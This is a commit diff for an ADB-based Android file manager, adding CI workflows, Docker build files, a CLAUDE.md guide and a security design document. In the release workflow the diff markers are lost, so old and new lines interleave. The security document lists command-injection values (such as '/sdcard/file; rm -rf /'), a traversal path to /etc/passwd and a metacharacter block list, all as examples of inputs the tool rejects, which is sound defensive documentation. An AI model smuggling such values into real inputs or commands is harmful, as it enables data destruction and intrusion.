docker exec rhel-build bash -lc "[ -d \"/root/.pyenv\" ] || git clone https://github.com/pyenv/pyenv.git /root/.pyenv && mkdir -p /root/.pyenv/plugins && [ -d \"/root/.pyenv/plugins/python-build\" ] || git clone https://github.com/pyenv/pyenv-build.git /root/.pyenv/plugins/python-build"
# Install Python 3.12 via pyenv and set global using explicit pyenv binary path
# Use single quotes so $PYENV_ROOT and $PATH are expanded inside the container's shell
docker exec rhel-build bash -lc 'export PYENV_ROOT="/root/.pyenv"; export PATH="$PYENV_ROOT/bin:$PATH"; /root/.pyenv/bin/pyenv install -s 3.12.0; /root/.pyenv/bin/pyenv global 3.12.0; /root/.pyenv/bin/pyenv rehash'
# Install Poetry inside the container using the official installer (install to /root/.local/bin)
# Use single quotes so PATH is evaluated inside the container shell rather than the runner
docker exec rhel-build bash -lc 'export PATH="/root/.pyenv/shims:/root/.pyenv/bin:$PATH"; curl -sSL https://install.python-poetry.org | python3 - --yes'
# Verify Poetry is available via explicit path if not on PATH
docker exec rhel-build bash -lc "/root/.local/bin/poetry --version || echo 'Poetry not found in /root/.local/bin'"
# Install fpm (Ruby gem) and ensure rpm build tools exist
docker exec rhel-build bash -lc "dnf -y install ruby rubygems make && gem install --no-document -v \"${FPM_VERSION}\" fpm"
- name: Build inside container using Poetry
run: |
set -euo pipefail
# Use poetry inside the container to build package layouts. Use explicit paths so the runner shell
# doesn't expand $HOME; expansion should occur inside the container.
docker exec rhel-build bash -lc 'export PATH="/root/.local/bin:/root/.pyenv/shims:/root/.pyenv/bin:$PATH"; export CI_CD=true; export DISTRO_TYPE=rhel; cd /workspace && /root/.local/bin/poetry install --no-interaction && /root/.local/bin/poetry run python scripts/build_package_linux.py'
- name: Package RHEL (fpm) inside container
- name: Import GPG key
shell: bash
run: |
# Run the entire packaging flow inside the Fedora container so Poetry, PATH and arrays are evaluated in-container.
docker exec rhel-build bash -lc '
set -euo pipefail
VERSION="$(/root/.local/bin/poetry version -s)"
PKG_DIR="pkg_dist_rhel"
mkdir -p dist || true
echo "Packaging from $PKG_DIR (version=$VERSION)"
ls -la "$PKG_DIR" || true
export GPG_TTY=$(tty) || true
echo "${{ secrets.GPG_PRIVATE_KEY }}" | gpg --batch --import
gpg --list-secret-keys
ICON_PATH="$PKG_DIR/usr/share/icons/hicolor/256x256/apps/android-file-handler.png"
PKG_ITEMS=( "usr/bin/android-file-handler" "usr/share/applications/android-file-handler.desktop" )
if [ -f "$ICON_PATH" ]; then
PKG_ITEMS+=( "usr/share/icons/hicolor/256x256/apps/android-file-handler.png" )
else
echo "Note: icon not present, packaging without icon"
fi
- name: Sign and hash RHEL package
shell: bash
run: |
set -euo pipefail
RPM_FILE=$(find dist -name "android-file-handler-*.rpm" -type f | head -n 1)
if [ -z "$RPM_FILE" ]; then
echo "Error: .rpm file not found"
exit 1
fi
echo "Found package: $RPM_FILE"
# Run fpm inside the container to produce an RPM
cd /workspace
exec fpm -s dir -t rpm -n android-file-handler -v "$VERSION" --architecture x86_64 --prefix /usr/bin --after-install scripts/rhel_postinst.sh -p "dist/android-file-handler-${VERSION}.x86_64.rpm" -C "$PKG_DIR" "${PKG_ITEMS[@]}"
'
# Create temporary file for passphrase
PASSPHRASE_FILE=$(mktemp)
trap "rm -f '$PASSPHRASE_FILE'" EXIT
# Write passphrase to temporary file
echo "${{ secrets.GPG_PASSPHRASE }}" > "$PASSPHRASE_FILE"
# Sign with GPG using passphrase file
gpg --batch --yes --passphrase-file "$PASSPHRASE_FILE" --detach-sign --armor "$RPM_FILE"
# Clean up passphrase file
rm -f "$PASSPHRASE_FILE"
# Generate SHA-256 hash
sha256sum "$RPM_FILE" | awk '{print $1 " " $2}' > dist/android-file-handler-rhel.sha256
echo "SHA-256: $(cat dist/android-file-handler-rhel.sha256)"
- name: Upload RHEL artifacts
uses: actions/upload-artifact@v4
@@ -417,26 +332,47 @@ jobs:
name: rhel-package
path: |
dist/*.rpm
dist/*.rpm.asc
dist/android-file-handler-rhel.sha256
pkg_dist_rhel/**
create-release:
needs: [run-unit-tests-linux, run-unit-tests-windows, build-windows, build-debian, build-arch, build-rhel]
if: ${{ github.event_name == 'workflow_dispatch' && github.event.inputs.DO_RELEASE == 'true' && needs.build-windows.result == 'success' && needs.build-debian.result == 'success' && needs.build-arch.result == 'success' && needs.build-rhel.result == 'success' }}
do-release:
needs:
- build-windows
- build-debian
- build-arch
- build-rhel
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Install Poetry
uses: snok/install-poetry@v1
- name: Get version
id: version
run: echo "version=$(poetry version -s)" >> $GITHUB_OUTPUT
run: |
if ! VERSION="$(poetry version -s 2>&1)"; then
echo "::error::Failed to read version from pyproject.toml"
echo "::error::Poetry output: $VERSION"
exit 1
fi
if [ -z "$VERSION" ]; then
echo "::error::Version is empty in pyproject.toml"
exit 1
fi
# Validate semver format
if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9]+(\.[a-zA-Z0-9]+)*)?(\+[a-zA-Z0-9]+(\.[a-zA-Z0-9]+)*)?$ ]]; then
echo "::error::Invalid version format in pyproject.toml: $VERSION"
echo "::error::Expected semantic version format (e.g., 1.2.3, 1.2.3-beta.1, 1.2.3+build.123)"
exit 1
fi
echo "Using version: $VERSION"
echo "version=$VERSION" >> $GITHUB_OUTPUT
- name: Download all artifacts
uses: actions/download-artifact@v4
@@ -444,34 +380,42 @@ jobs:
merge-multiple: true
path: ./binaries
- name: List downloaded binaries (debug)
- name: Prepare release files
run: |
echo "Downloaded files:"
ls -la ./binaries || true
mkdir -p ./release-files
# Copy binary packages
find ./binaries -name "*.exe" -exec cp {} ./release-files/ \; || true
find ./binaries -name "*.deb" -exec cp {} ./release-files/ \; || true
find ./binaries -name "*.rpm" -exec cp {} ./release-files/ \; || true
find ./binaries -name "*.pkg.tar.*" -exec cp {} ./release-files/ \; || true
# Copy GPG signatures
find ./binaries -name "*.asc" -exec cp {} ./release-files/ \; || true
# Copy SHA-256 hashes
find ./binaries -name "*.sha256" -exec cp {} ./release-files/ \; || true
echo "Release files prepared:"
ls -lh ./release-files/
- name: Create Release
uses: softprops/action-gh-release@v1
with:
tag_name: v${{ steps.version.outputs.version }}
name: Release v${{ steps.version.outputs.version }}
files: |
./binaries/android-file-handler.exe
./binaries/android-file-handler_*.deb
./binaries/android-file-handler-*.rpm
./binaries/android-file-handler-*-x86_64.pkg.tar.*
files: ./release-files/*
draft: false
prerelease: false
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
upload-s3:
needs: [run-unit-tests-linux, run-unit-tests-windows, build-windows, build-debian, build-arch, build-rhel]
if: ${{ github.event_name == 'workflow_dispatch' && (github.event.inputs.UPLOAD_S3 == 'true' || contains(github.event.inputs.jobs, 'upload-s3')) }}
runs-on: ubuntu-latest
needs: do-release
if: needs.do-release.result == 'success'
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.head_ref || github.ref }}
ref: main
- name: Install AWS CLI
run: |
@@ -502,41 +446,12 @@ jobs:
AWS_PAGER: ""
sync-wiki:
needs: create-release
if: always() && needs.create-release.result == 'success'
runs-on: ubuntu-latest
continue-on-error: true
steps:
- name: Checkout main repo
uses: actions/checkout@v4
with:
ref: ${{ github.event.inputs.branch || github.ref }}
fetch-depth: 0
- name: Checkout wiki repo
run: |
git clone "https://github.com/${GITHUB_REPOSITORY}.wiki.git" wiki
- name: Sync WIKI.md to Wiki/Home.md
run: |
set -e
SRC_FILE="WIKI.md"
DEST_FILE="wiki/Home.md"
if [ ! -f "$SRC_FILE" ]; then
echo "No $SRC_FILE in main repo; skipping."
exit 0
fi
if ! cmp -s "$SRC_FILE" "$DEST_FILE"; then
echo "Changes found, updating wiki..."
cp "$SRC_FILE" "$DEST_FILE"
cd wiki
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add Home.md
git commit -m "Sync WIKI.md from main repo [skip ci]" || echo "No changes to commit"
git push
else
echo "No changes in $SRC_FILE; wiki is up to date."
fi
needs: do-release
if: needs.do-release.result == 'success'
permissions:
contents: write
pull-requests: write
uses: ./.github/workflows/sync-wiki.yml
with:
branch: main
secrets: inherit
+261
View File
@@ -0,0 +1,261 @@
# Status checks workflow for pull requests
# Runs tests and builds on all platforms to verify code quality
name: Status Checks
on:
pull_request:
branches: [ main, develop ]
workflow_call:
permissions:
contents: read
packages: read
env:
FPM_VERSION: "1.16.0"
CI_CD: true
jobs:
run-unit-tests-debian:
runs-on: ubuntu-latest
permissions:
contents: read
packages: read
container:
image: ghcr.io/jmr-dev/android-file-handler-debian-builder:debian13-trixie
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
poetry install --no-interaction
- name: Run tests
run: |
poetry run pytest tests/ -v
run-unit-tests-arch:
runs-on: ubuntu-latest
permissions:
contents: read
packages: read
container:
image: ghcr.io/jmr-dev/android-file-handler-arch-builder:latest
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
poetry install --no-interaction
- name: Run tests
run: |
poetry run pytest tests/ -v
run-unit-tests-rhel:
runs-on: ubuntu-latest
permissions:
contents: read
packages: read
container:
image: ghcr.io/jmr-dev/android-file-handler-rhel-builder:fedora42
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
poetry install --no-interaction
- name: Run tests
run: |
poetry run pytest tests/ -v
run-unit-tests-windows:
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Install Poetry
uses: snok/install-poetry@v1
with:
version: latest
virtualenvs-create: true
virtualenvs-in-project: true
- name: Ensure Poetry is on PATH (Windows)
shell: pwsh
run: |
# Add Poetry user bin to PATH for subsequent steps in this job
$poetryPath = Join-Path $env:USERPROFILE ".local\bin"
Write-Output $poetryPath >> $Env:GITHUB_PATH
- name: Install dependencies
run: |
poetry install
- name: Run tests
run: |
poetry run pytest tests/ -v
build-and-package-windows:
needs: [run-unit-tests-windows]
runs-on: windows-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Set up Python 3.13
uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Install Poetry
uses: snok/install-poetry@v1
with:
version: latest
virtualenvs-create: true
virtualenvs-in-project: true
- name: Ensure Poetry is on PATH (Windows)
shell: pwsh
run: |
# Add Poetry user bin to PATH for subsequent steps in this job
$poetryPath = Join-Path $env:USERPROFILE ".local\bin"
Write-Output $poetryPath >> $Env:GITHUB_PATH
- name: Install dependencies
run: |
poetry install
- name: Build Windows executable
run: |
# Use the Windows spec file so packaging is consistent and reproducible
poetry run pyinstaller scripts/spec_scripts/android-file-handler-windows.spec
- name: Upload Windows artifact
uses: actions/upload-artifact@v4
with:
name: windows-binary
path: |
dist/**/android-file-handler*.exe
dist/android-file-handler.exe
build-and-package-debian:
needs: [run-unit-tests-debian, run-unit-tests-arch, run-unit-tests-rhel]
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: debian
runs-on: ubuntu-latest
container:
image: ghcr.io/jmr-dev/android-file-handler-debian-builder:debian13-trixie
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build and package Debian
run: |
# Container has Poetry and all dependencies pre-installed
# Python build script handles both PyInstaller build and fpm packaging
poetry install --no-interaction
poetry run python scripts/build_package_linux.py
- name: Upload Debian .deb
uses: actions/upload-artifact@v4
with:
name: debian-package
path: |
dist/android-file-handler_*.deb
pkg_dist_debian/**
build-and-package-arch:
needs: [run-unit-tests-debian, run-unit-tests-arch, run-unit-tests-rhel]
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: arch
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Log in to GitHub Container Registry
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.CI_CD_PAT }}
- name: Pull Docker image
run: docker pull ghcr.io/jmr-dev/android-file-handler-arch-builder:latest
- name: Build and package Arch
run: |
docker run --rm \
-v ${{ github.workspace }}:/workspace \
-w /workspace \
-e DISTRO_TYPE=${{ env.DISTRO_TYPE }} \
-e FPM_VERSION=${{ env.FPM_VERSION }} \
-e CI_CD=${{ env.CI_CD }} \
ghcr.io/jmr-dev/android-file-handler-arch-builder:latest \
sh -c "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"
- name: Upload Arch package
uses: actions/upload-artifact@v4
with:
name: arch-package
path: |
dist/*.pkg.tar.*
pkg_dist_arch/**
build-and-package-rhel:
needs: [run-unit-tests-debian, run-unit-tests-arch, run-unit-tests-rhel]
permissions:
contents: read
packages: read
env:
DISTRO_TYPE: rhel
runs-on: ubuntu-latest
container:
image: ghcr.io/jmr-dev/android-file-handler-rhel-builder:fedora42
credentials:
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build and package RHEL
run: |
# Container has Poetry and all dependencies pre-installed
# Python build script handles both PyInstaller build and fpm packaging
poetry install --no-interaction
poetry run python scripts/build_package_linux.py
- name: Upload RHEL artifacts
uses: actions/upload-artifact@v4
with:
name: rhel-package
path: |
dist/*.rpm
pkg_dist_rhel/**
+68
View File
@@ -0,0 +1,68 @@
name: Sync Wiki
on:
workflow_dispatch:
inputs:
branch:
description: "Branch to sync from"
required: false
default: "main"
type: string
workflow_call:
inputs:
branch:
description: "Branch to sync from"
required: false
default: "main"
type: string
permissions:
contents: write
pull-requests: write
jobs:
sync-wiki:
runs-on: ubuntu-latest
continue-on-error: true
steps:
- name: Checkout main repo
uses: actions/checkout@v4
with:
ref: ${{ inputs.branch || github.ref }}
fetch-depth: 0
- name: Checkout wiki repo
id: checkout-wiki
continue-on-error: true
run: |
if git clone "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${GITHUB_REPOSITORY}.wiki.git" wiki; then
echo "wiki_exists=true" >> $GITHUB_OUTPUT
else
echo "wiki_exists=false" >> $GITHUB_OUTPUT
echo "::warning::Wiki repository not found. Create the first wiki page at https://github.com/${GITHUB_REPOSITORY}/wiki to enable auto-sync."
fi
- name: Sync WIKI.md to Wiki/Home.md
if: steps.checkout-wiki.outputs.wiki_exists == 'true'
run: |
set -e
SRC_FILE="WIKI.md"
DEST_FILE="wiki/Home.md"
if [ ! -f "$SRC_FILE" ]; then
echo "No $SRC_FILE in main repo; skipping."
exit 0
fi
if ! cmp -s "$SRC_FILE" "$DEST_FILE"; then
echo "Changes found, updating wiki..."
cp "$SRC_FILE" "$DEST_FILE"
cd wiki
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add Home.md
git commit -m "Sync WIKI.md from main repo [skip ci]" || echo "No changes to commit"
git push "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${GITHUB_REPOSITORY}.wiki.git"
else
echo "No changes in $SRC_FILE; wiki is up to date."
fi
+4
View File
@@ -7,6 +7,10 @@ on:
required: true
default: '0.1.0'
permissions:
contents: read
pull-requests: write
jobs:
test-environment:
runs-on: ubuntu-latest
+1
View File
@@ -1,3 +1,4 @@
.venv/
platform-tools**
dist*
build_temp/
+163
View File
@@ -0,0 +1,163 @@
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
## Project Overview
A Python GUI tool for managing Android device files via ADB (Android Debug Bridge). The application automatically downloads ADB platform-tools if needed, detects connected devices, and provides a Tkinter-based interface for transferring files between Android devices and local systems.
**Supported Platforms:** Windows, Linux (Debian, Arch, RHEL/Fedora)
## Development Setup
### Installation
```sh
poetry install
```
### Running the Application
```sh
poetry run python -m src.main
```
## Common Commands
### Testing
```sh
# Test if application runs
poetry run python -m src.main
# Run all tests
poetry run pytest tests/ -v
# Run tests with coverage
poetry run pytest tests/ -v --cov
# Run specific test file
poetry run pytest tests/core/test_adb_manager.py -v
```
### Code Quality
```sh
# Format code with Black
poetry run black src/ tests/
# Lint with flake8
poetry run flake8 src/ tests/
# Type checking with mypy
poetry run mypy src/
```
### Building and Packaging
#### Local Development Build (Linux)
```sh
# Interactive build (prompts for distro selection)
poetry run python scripts/build_package_linux.py
```
#### Docker Compose Build (Recommended for Linux)
```sh
# Build all distributions (Debian, Arch, RHEL)
docker compose up --build
# Build specific distribution
docker compose up --build debian
docker compose up --build arch
docker compose up --build rhel
# Build all in parallel
docker compose up --build --parallel
# Clean build artifacts
docker compose down -v && rm -rf dist pkg_dist_* dist_*
```
See [scripts/docker/README.md](scripts/docker/README.md) for detailed Docker build documentation.
#### Platform-Specific Builds
```sh
# Windows executable (PyInstaller)
poetry run pyinstaller scripts/spec_scripts/android-file-handler-windows.spec
# Linux packages use distro-specific spec files:
# - android-file-handler-debian.spec
# - android-file-handler-arch.spec
# - android-file-handler-rhel.spec
```
## Architecture
### Directory Structure
- **src/core/**: Core ADB functionality
- `adb_manager.py`: Main ADB interface and operations coordinator
- `adb_command.py`: Command execution wrapper
- `file_transfer.py`: File transfer logic
- `platform_tools.py`: ADB binary management and download
- `platform_utils.py`: Platform detection utilities
- `progress_tracker.py`: Transfer progress tracking
- **src/gui/**: GUI components
- `main_window.py`: Main application window (entry point for GUI)
- `components/`: Reusable UI widgets (file browser, path selectors, etc.)
- `handlers/`: Event and animation handlers
- `dialogs/`: Dialog windows (license agreement, device instructions, etc.)
- **src/managers/**: Business logic coordination
- `device_manager.py`: Device detection and management
- `transfer_manager.py`: Coordinates transfers between GUI and ADB manager
- **src/utils/**: Utility modules
- `file_deduplication.py`: File deduplication logic
- **scripts/**: Build and packaging scripts
- `build_package_linux.py`: Unified Linux packaging script (uses DISTRO_TYPE env var)
- `spec_scripts/`: PyInstaller spec files for each platform
- **tests/**: Test suite mirroring src/ structure
### Application Flow
1. **Startup**: `src/main.py` → License check → `gui/main_window.py:main()`
2. **ADB Setup**: ADBManager checks for platform-tools, downloads if needed
3. **Device Detection**: DeviceManager checks for connected devices
4. **File Transfer**: TransferManager coordinates UI updates with ADB file operations
### Key Patterns
- **Import Fallbacks**: Most modules use try/except for relative vs. direct imports to support both module and direct execution
- **Manager Pattern**: Business logic separated into DeviceManager, TransferManager, ADBManager
- **Component Composition**: GUI built from reusable components in `gui/components/`
- **Threading**: File transfers run in background threads; UI updates via callbacks
## CI/CD
The project uses GitHub Actions for multi-platform builds (`.github/workflows/release.yml`):
- Runs tests on Linux and Windows
- Builds binaries for Windows, Debian, Arch, and RHEL
- Packages using PyInstaller + fpm
- Supports manual workflow dispatch with configurable jobs
- Optional GitHub release creation and S3 upload
## Coding Standards
- Follow PEP 8 guidelines
- Use type hints for all function parameters and return values
- Write docstrings for all public modules, functions, and classes
- Use f-strings for string formatting
- No single-letter variable names except `e` for exceptions
- Always run Python commands through Poetry
- Do not recreate deleted files
- Do not change user-facing text unless asked
- Always run the application to test if it will run and have it run successfully before declaring an iteration complete
- Never use the squash merge strategy unless specifically instructed to do so
## Notes
- **ADB Binaries**: Stored in `src/platform-tools/` - do not modify or delete unless explictly instructed to
- **Python Version**: Requires Python 3.13 or 3.14 (>=3.13, <3.15)
- **Package Mode**: Poetry is configured with `package-mode = false`
- **License**: First-run license agreement required on Windows
+2
View File
@@ -0,0 +1,2 @@
paths-ignore:
- debug_tools
+72
View File
@@ -0,0 +1,72 @@
# Docker Compose configuration for local multi-platform builds
# Matches the exact images and configurations from .github/workflows/release.yml
#
# Usage:
# Build all distributions: docker-compose up --build
# Build specific distro: docker-compose up --build debian
#
# Each service builds a distribution package and outputs to:
# - dist/ - Final packaged files (.deb, .rpm, .pkg.tar.zst)
# - pkg_dist_{distro}/ - Staging directory for package contents
# - dist_{distro}/ - PyInstaller build output
services:
debian:
image: ghcr.io/jmr-dev/android-file-handler-debian-builder:debian13-trixie
build:
context: .
dockerfile: scripts/docker/Dockerfile.debian
args:
FPM_VERSION: "1.16.0"
volumes:
- .:/workspace
# Exclude host .venv to prevent conflicts with container Python
- /workspace/.venv
working_dir: /workspace
environment:
- CI_CD=true
- DISTRO_TYPE=debian
- FPM_VERSION=1.16.0
- POETRY_VIRTUALENVS_IN_PROJECT=false
- POETRY_VIRTUALENVS_PATH=/tmp/poetry-cache
command: sh -c "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"
arch:
image: ghcr.io/jmr-dev/android-file-handler-arch-builder:latest
build:
context: .
dockerfile: scripts/docker/Dockerfile.arch
args:
FPM_VERSION: "1.16.0"
volumes:
- .:/workspace
# Exclude host .venv to prevent conflicts with container Python
- /workspace/.venv
working_dir: /workspace
environment:
- CI_CD=true
- DISTRO_TYPE=arch
- FPM_VERSION=1.16.0
- POETRY_VIRTUALENVS_IN_PROJECT=false
- POETRY_VIRTUALENVS_PATH=/tmp/poetry-cache
command: sh -c "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"
rhel:
image: ghcr.io/jmr-dev/android-file-handler-rhel-builder:fedora42
build:
context: .
dockerfile: scripts/docker/Dockerfile.rhel
args:
FPM_VERSION: "1.16.0"
volumes:
- .:/workspace
# Exclude host .venv to prevent conflicts with container Python
- /workspace/.venv
working_dir: /workspace
environment:
- CI_CD=true
- DISTRO_TYPE=rhel
- FPM_VERSION=1.16.0
- POETRY_VIRTUALENVS_IN_PROJECT=false
- POETRY_VIRTUALENVS_PATH=/tmp/poetry-cache
command: sh -c "poetry install --no-interaction && poetry run python scripts/build_package_linux.py"
+341
View File
@@ -0,0 +1,341 @@
# Security Design Document
## Overview
This document describes the security design, threat model, and known limitations of the Android File Handler ADB application. The application implements defense-in-depth security controls to protect against command injection, path traversal, and other common attack vectors.
## Threat Model
### Assets Protected
1. **Local Filesystem**: User's files and directories on the host system
2. **Android Device Data**: Files and directories on the connected Android device
3. **System Integrity**: Protection against arbitrary command execution
4. **User Privacy**: Prevention of unauthorized access to sensitive files
### Threat Actors
1. **Malicious Files**: Specially-crafted filenames designed to exploit command injection vulnerabilities
2. **Compromised Android Device**: A device that may attempt to exploit the host system through malicious file metadata
3. **Malicious Input**: User-provided paths or device IDs containing attack payloads
4. **Man-in-the-Middle**: Attacks during ADB platform-tools download (partial mitigation)
### Attack Vectors
#### 1. Command Injection
**Description**: Attacker attempts to inject shell commands through user-controlled inputs (paths, device IDs, filenames).
**Mitigations**:
- Input sanitization with regex-based dangerous character detection
- Subprocess execution without `shell=True` (arguments passed as list, not string)
- Validation of all user-controlled inputs before use
- Specific error messages for rejected inputs
**Examples Blocked**:
```
/sdcard/file; rm -rf /
/sdcard/$(whoami)
device123; malicious_command
```
#### 2. Path Traversal
**Description**: Attacker attempts to access files outside of intended directories using `..` or symbolic links.
**Mitigations**:
- Path normalization using `os.path.normpath()` and `os.path.realpath()`
- Symlink resolution to detect symlink-based escape attempts
- Base directory validation for local paths
- Rejection of null bytes in paths
**Examples Blocked**:
```
/tmp/safe/../../../etc/passwd
[symlink from /tmp/safe/escape -> /etc/]
/tmp/file\x00.txt
```
#### 3. Zip Bomb / Archive Bomb
**Description**: Maliciously crafted compressed files that expand to consume excessive disk space.
**Mitigations**:
- Size limit checks on downloaded files
- Extraction size validation
- Disk space checks before download
**Implementation**: See `src/core/platform_tools.py` download validation.
#### 4. Redirect Attacks
**Description**: Malicious redirects during platform-tools download that could lead to downloading malware.
**Mitigations**:
- URL validation for redirects
- HTTPS enforcement
- Domain validation for official sources
**Implementation**: See `src/core/platform_tools.py` download validation.
## Security Controls
### Input Sanitization Functions
#### `sanitize_path_component(component: str)`
**Purpose**: Validates individual path components (filenames, directory names).
**Checks**:
- Non-empty string
- No null bytes (`\x00`)
- No shell metacharacters: `;`, `|`, `&`, `$`, `` ` ``, `\n`, `\r`, `>`, `<`, `(`, `)`, `{`, `}`, `[`, `]`, `!`
- No command substitution patterns: `$(`, `${`
**Usage**: Used for validating individual filename components.
#### `sanitize_android_path(path: str)`
**Purpose**: Validates full paths on Android devices.
**Checks**:
- Non-empty string
- No null bytes (`\x00`)
- No dangerous patterns: `;`, `|`, `&`, `` ` ``, `\n`, `\r`, `$(`, `${`, `&&`, `||`, `>>`
- **Allows**: Spaces, Unicode characters, forward slashes, dots
**Usage**: Used for all Android device paths before passing to ADB commands.
**Rationale**: Android filesystems support Unicode and spaces in filenames. We only block patterns that could enable command injection.
#### `sanitize_local_path(path: str, base_dir: Optional[str])`
**Purpose**: Validates and normalizes local filesystem paths.
**Checks**:
- Non-empty string
- No null bytes (`\x00`)
- Path normalization via `os.path.normpath(os.path.realpath())`
- Symlink resolution to detect escapes
- Optional base directory containment validation
**Usage**: Used for local filesystem paths, especially when restricting operations to specific directories.
**Rationale**: Using `realpath()` instead of `abspath()` ensures symbolic links are resolved before validation, preventing symlink-based path traversal.
#### `validate_device_id(device_id: str)`
**Purpose**: Validates Android device IDs.
**Checks**:
- Non-empty string
- Alphanumeric characters, dots, colons, underscores, hyphens only
- No shell metacharacters
- No spaces
**Usage**: Validates device IDs before using in ADB commands with `-s` flag.
**Valid Examples**:
```
ABC123DEF456 (serial number)
192.168.1.100:5555 (network device)
emulator-5554 (emulator)
```
### Subprocess Execution
**Safe Pattern**:
```python
# SAFE: Arguments as list, no shell=True
subprocess.run([adb_path, "-s", device_id, "shell", "ls", path])
```
**Unsafe Pattern** (NOT USED):
```python
# UNSAFE: Shell=True enables command injection
subprocess.run(f"adb -s {device_id} shell ls {path}", shell=True)
```
**Implementation**: All ADB commands use argument lists without `shell=True`, preventing shell interpretation of metacharacters.
### Error Handling
**Logging**: Validation failures are logged with specific error messages to help detect attack attempts and debug legitimate issues.
**User Feedback**: Failed operations return descriptive error messages indicating why paths or device IDs were rejected.
**Silent Failures**: Removed in favor of explicit logging (see `src/core/adb_manager.py` methods `list_files()` and `get_file_info()`).
## Known Limitations
### 1. Android Device Trust
**Limitation**: The application trusts the connected Android device to return valid data.
**Risk**: A compromised or malicious device could return crafted data through ADB responses.
**Mitigation**: Input sanitization is applied to user-provided inputs, but responses from `adb shell` commands are parsed but not fully sanitized. The subprocess argument list pattern prevents command injection even with malicious device responses.
**Residual Risk**: Low. Device responses are parsed but not executed as commands.
### 2. ADB Binary Trust
**Limitation**: The application trusts the ADB binary downloaded from Google's servers.
**Risk**: If download is intercepted (MITM) or if Google's servers are compromised, malicious ADB binary could be installed.
**Mitigation**:
- HTTPS is used for downloads
- URL validation for redirects
- Downloads only from official Google domains
**Residual Risk**: Low to Medium. Consider adding SHA-256 hash verification in future versions.
### 3. Local Filesystem Permissions
**Limitation**: The application runs with the same permissions as the user who launched it.
**Risk**: If user has write access to system directories, the application could be used to overwrite important files (though not through exploitation).
**Mitigation**: Application uses standard OS permissions. Users should not run the application with elevated privileges unless necessary.
**Residual Risk**: Low. This is standard behavior for desktop applications.
### 4. Unicode Normalization
**Limitation**: Unicode characters are allowed but not normalized (e.g., no NFC/NFD conversion).
**Risk**: Different Unicode representations of the same visual character could bypass filters or cause confusion.
**Mitigation**: Characters are checked for dangerous patterns regardless of Unicode form.
**Residual Risk**: Very Low. Path validation is performed before use.
### 5. Race Conditions
**Limitation**: Time-of-check to time-of-use (TOCTOU) race conditions are possible with filesystem operations.
**Risk**: A symlink or file could be changed between validation and use.
**Mitigation**: Paths are validated immediately before use. Symlinks are resolved during validation.
**Residual Risk**: Very Low. Window for exploitation is extremely small and requires local access.
### 6. Platform-Specific Behavior
**Limitation**: Path handling differs between Windows, Linux, and macOS.
**Risk**: Platform-specific path normalization could behave unexpectedly.
**Mitigation**:
- Use of `os.path` functions for cross-platform compatibility
- Comprehensive tests for different path formats
- Separate handling for Windows root paths in file transfer module
**Residual Risk**: Low. Extensive testing covers common scenarios.
## Security Testing
### Test Coverage
The security validation suite includes tests for:
1. **Command Injection Prevention**
- Shell metacharacters in paths
- Command substitution patterns
- Backtick substitution
- Newline injection
2. **Path Traversal Prevention**
- `..` sequences
- Absolute path escapes
- Symlink-based escapes
- Null byte injection
3. **Unicode Handling**
- Chinese, Russian, Arabic, Emoji characters
- Accented characters
- Mixed Unicode and spaces
4. **Edge Cases**
- Very long paths (100+ directory levels)
- Very long filenames (255+ characters)
- Paths with multiple dots
- Hidden files (leading dot)
5. **Cross-Platform**
- Windows-style paths (`C:\Users\...`)
- Unix-style paths (`/tmp/...`)
- Mixed path separators
- Platform-specific normalization
6. **Device ID Validation**
- Serial numbers
- Network addresses with ports
- Emulator IDs
- Invalid characters
### Test Location
All security tests are located in: `tests/utils/test_security_utils.py`
Run tests with:
```bash
poetry run pytest tests/utils/test_security_utils.py -v
```
## Security Maintenance
### Regular Reviews
Security controls should be reviewed:
- When adding new features that accept user input
- When modifying path handling or subprocess execution
- After discovering vulnerabilities in similar applications
- At least annually
### Dependency Updates
Keep dependencies updated to patch security vulnerabilities:
```bash
poetry update
poetry run pytest # Verify no regressions
```
### Vulnerability Reporting
Security issues should be reported via GitHub Issues with the `security` label.
## Compliance and Best Practices
### OWASP Guidelines
This implementation follows OWASP recommendations for:
- Input validation (positive security model where possible)
- Output encoding (subprocess argument lists)
- Command injection prevention
- Path traversal prevention
### Python Security Best Practices
- No use of `eval()`, `exec()`, or `compile()`
- No `shell=True` in subprocess calls
- Type hints for all security-critical functions
- Comprehensive error handling
### Defense in Depth
Multiple layers of security:
1. Input validation (first line of defense)
2. Subprocess argument lists (prevent shell interpretation)
3. Path normalization (prevent traversal)
4. Symlink resolution (prevent escapes)
